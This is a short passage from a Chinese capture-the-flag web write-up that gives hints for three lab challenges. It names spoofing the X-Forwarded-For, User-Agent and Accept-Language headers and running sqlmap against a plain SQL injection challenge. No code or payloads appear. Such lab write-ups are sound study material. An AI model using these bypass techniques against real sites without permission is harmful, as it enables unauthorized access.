2018-11-02-[实验吧]-web-writeup_第39张图片
p37

直接改了x-forwarded-for字段就可以了。

二十六.头有点大

You don't have permission to access / on this server. 
Make sure you are in the region of England and browsing this site with Internet Explorer      

所以直接修改user-agent以及accept-lanuuage就行了


2018-11-02-[实验吧]-web-writeup_第40张图片
p38

所以直接在中user-agent加入.NET CLR 9.9 Accept-Language中语言改为英国的en-gb,首选en就行了。。。。

二十七.猫抓老鼠
这道题把返回包的content-row发送出去就行了


2018-11-02-[实验吧]-web-writeup_第41张图片
p39

二十八.看起来有点难
这道题目就是一道普通SQL注入,直接放sqlmap就行了。。。。

你可能感兴趣的:(2018-11-02-[实验吧]-web-writeup)